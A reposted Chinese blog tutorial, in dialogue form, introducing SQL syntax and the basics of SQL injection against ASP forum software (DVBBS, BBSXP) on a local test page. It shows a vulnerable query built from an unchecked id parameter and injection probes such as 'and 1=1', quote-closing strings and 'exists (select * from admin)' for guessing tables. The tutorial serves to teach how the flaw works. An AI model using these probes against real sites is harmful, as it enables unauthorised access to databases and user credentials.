天天看點

SQL注射原理超濃縮簡單篇

這是SQL注射原理的講解。

通過暴庫,下載下傳資料庫,阿劍劍對資料庫也有了些感性的認識。可是,并不是所有時候我們都可以得到别人的資料庫并打開來看的。聽說有門技術叫SQL注射,不用下載下傳資料庫,也可以得到資料庫中的資訊。于是阿劍劍嚷嚷着要學它。

欠錢:“SQL注射是一門比較有難度的技術,因為要了解它和熟練它需要有ASP和資料庫的基礎。你認為自己有資格學習它嗎?”

阿劍劍想了一下:“這些基礎我是一點都沒有啊,可是不是聽說市面上有很多SQL注射的傻瓜工具嗎?你教會我使用這些工具不就可以了?”

欠錢:“既然如此,那好吧,我首先把SQL最基本的文法告訴你,這樣你才好了解那些SQL注射工具上的術語和使用步驟。”

阿劍劍:“欠錢你真是太好了,感動ing!不過,不會很難吧?”

“當然不難了!”欠錢拍着胸脯。

一個資料庫一般都包含有若幹張表,如同我們前面暴出的資料庫中admin表包含有管理者資訊,而user表則包含有所有的論壇使用者資訊一樣。以下面這張表為例:

Dv_User

UserID     UserName     UserPassword     UserEmail     UserPost

這是DVBBS 7.0的資料庫中所有使用者資料的表,Dv_User 是表名。每一行代表一個使用者,每一列是該使用者的某種屬性。我們最感興趣的自然是使用者名與密碼這樣的屬性了。

SQL是一種用于操作資料庫的規範化語言,不同的資料庫(MSSQL、MYSQL、ORACLE……)大體上都是一樣的。比如我們要查詢資料庫中的資訊:

select UserName,UserPassword from Dv_User where UserID=1;

這就是一個最典型的SQL查詢語句,它的意思是,在Dv_User這張表中,将UserID為1的使用者名與密碼查詢出來。

得到的結果是:admin     469e80d32c0559f8

SELECT語句文法:

SELECT [列名],[列名2]…… FROM [表名] WHERE [限制條件]

例:

SELECT * FROM Dv_User where UserID=1 

表示查詢UserID為1的所有資訊。

更新:

UPDATE [表名] SET [列名]=新值 WHERE [限制條件]

UPDATE Dv_User set [UserPassword]=’ 965eb72c92a549dd’ WHERE UserName=’admin’

此語句将把Dv_User表中的UserName為admin的那一行中UserPassword的值改為965eb72c92a549dd。

删除:

DELETE FROM [表名] WHERE [限制條件]

DELETE FROM Dv_User WHERE UserName=’test’

将使用者名為test的那一行從Dv_User表中删除

二、SQL注射漏洞簡述

阿劍劍仔細把上面四個SQL語句讀了幾遍,發現非常的容易,于是虛心請教欠錢:“SQL文法看起來很容易上手嘛,那SQL漏洞是怎麼來的呢?”

欠錢打開一個頁面,指着裡面的代碼:

if id<>"" then

sql="SELECT * FROM [日記] WHERE id="&id

rs.Open sql,Conn,1

阿劍劍看了一眼:“哎呀,頭暈了!”

欠錢敲了他一下:“關于漏洞的成因我隻講這一次,如果怕難就不知道漏洞的由來了,而且實際上一點也不難的,看好了,我們這段代碼是提取自BBSXP論壇的,經過我改動以後,把它做成了一個有漏洞的頁面給你講述SQL漏洞的原理。”

那張日記的表内容如下:

日記

id     username     title     content     adddate

1     職業欠錢     今天安裝了BBSXP     這是5.16版,發現BBSXP體積雖小,可是功能一點也不少.完全夠用,不知道安全性怎麼樣     2005-10-25

2     職業欠錢     再寫一個日志吧     多寫幾個日志看看,玩玩,呵呵,反正這個論壇也隻有我一個人在.. 555555555好寂寞     2005-10-25

我們通路

<a href="http://localhost/bbsxp/blog.asp?id=" target="_blank">[url]http://localhost/bbsxp/blog.asp?id=1[/url]</a>

的時候結果

阿劍劍:“我明白了,通路blog.asp的時候,我們送出的參數id為1,那麼放到SQL語句裡就變成了:

SELECT * FROM [日記] WHERE id=1

是以就得到我們看到的那個頁面,對嗎?”

欠錢:“很好!正是如此!SQL漏洞的起源就從這裡開始了!注意到了嗎?id的值是由我們送出的,但是它卻沒有做任何的檢查,也就是我們送出的id可以是任意字元串。假設我們送出一個單引号的話,SQL語句就會因為id=1’ 而出錯”

“等等,為什麼加單引号會出錯呢?”

“因為單引号在SQL語句裡有特殊的含義,它隻能以’abc’這樣的方式出現,表示abc為一個字元串,如果隻出現一個單引号,整個句子肯定會出錯了。”

“哦,那單引号和SQL注射有什麼關系呢?”

“關系很密切,一般來說,常見的SQL語句有這麼幾種:

SELECT * FROM [表] WHERE id=12                   這是數字型,12由我們送出

SELECT * FROM [表] WHERE name=’admin’         這是字元型,admin由我們送出

SELECT * FROM [表] WHERE key like ‘%word%’     這是搜尋型,word由我們送出

我們以第一種情況為例,假設我們送出 id=12 and 1=1,那麼完整的SQL語句為:

SELECT * FROM [表] WHERE id=12 and 1=1

它并不出錯,但是如果我們送出改為1=2,也就是

SELECT * FROM [表] WHERE id=12 and 1=2

<a></a>

阿劍劍想了一下:“這麼說,為了不讓SQL語句出錯,那麼我們在字元型SQL語句中,要送出的變量就應該是

admin’ and ‘1’=’1

然後補到完整的SQL語句中,就是

SELECT * FROM [表] WHERE name=’admin’ and ‘1’=’1’

而字元型則是

word%’ and ‘%’=’

補充到完整的SQL語句為:

SELECT * FROM [表] WHERE key like ‘%word%’ and ‘%’=’%’

欠錢:“完全正确!這正是我們判斷注射類型的方法!”

阿劍劍:“那我們怎麼才能夠得到資料庫中的資訊呢?”

欠錢:“最直接的方法自然是猜了,我們在送出的資料裡加入一些其他的判斷語句來代替and 1=1這樣的條件。以數字型SQL查詢語句為例,我們送出一個id的值如下:

id=1 and exists (select * from admin)

還原到完整的SQL語句中:

SELECT * FROM [表] WHERE id=1 and exists (select * from admin)

如果存在admin這張表的話,那麼這個SQL語句将按原樣傳回,否則将傳回空值。到blog.asp中去實驗一下就知道了。

阿劍劍:“提示不存在這張表,然後我就要再學習很多的SQL語句去猜測接下來的資料嗎?”

欠錢:“呵呵,确實更改這個SQL語句我們就可以慢慢猜出資料庫裡的内容。首先猜一個資料庫裡有哪些表,然後逐個猜解這些表中有哪些列(以後稱為字段),最後猜解個表中的具體内容。記住這個流程後,我們不打算深入下去了,因為我們已經有非常多的注射輔助工具了,這些工具會幫我們完成這些工作。”

“嗯,也好,至少我大緻上知道了SQL注射是怎麼樣一個漏洞,具體的東西要靠我以後自學ASP和資料庫才能提高吧,現在你就教我用那些工具吧,我已經迫不及待了!”

本文轉自loveme2351CTO部落格,原文連結:http://blog.51cto.com/loveme23/8527 ,如需轉載請自行聯系原作者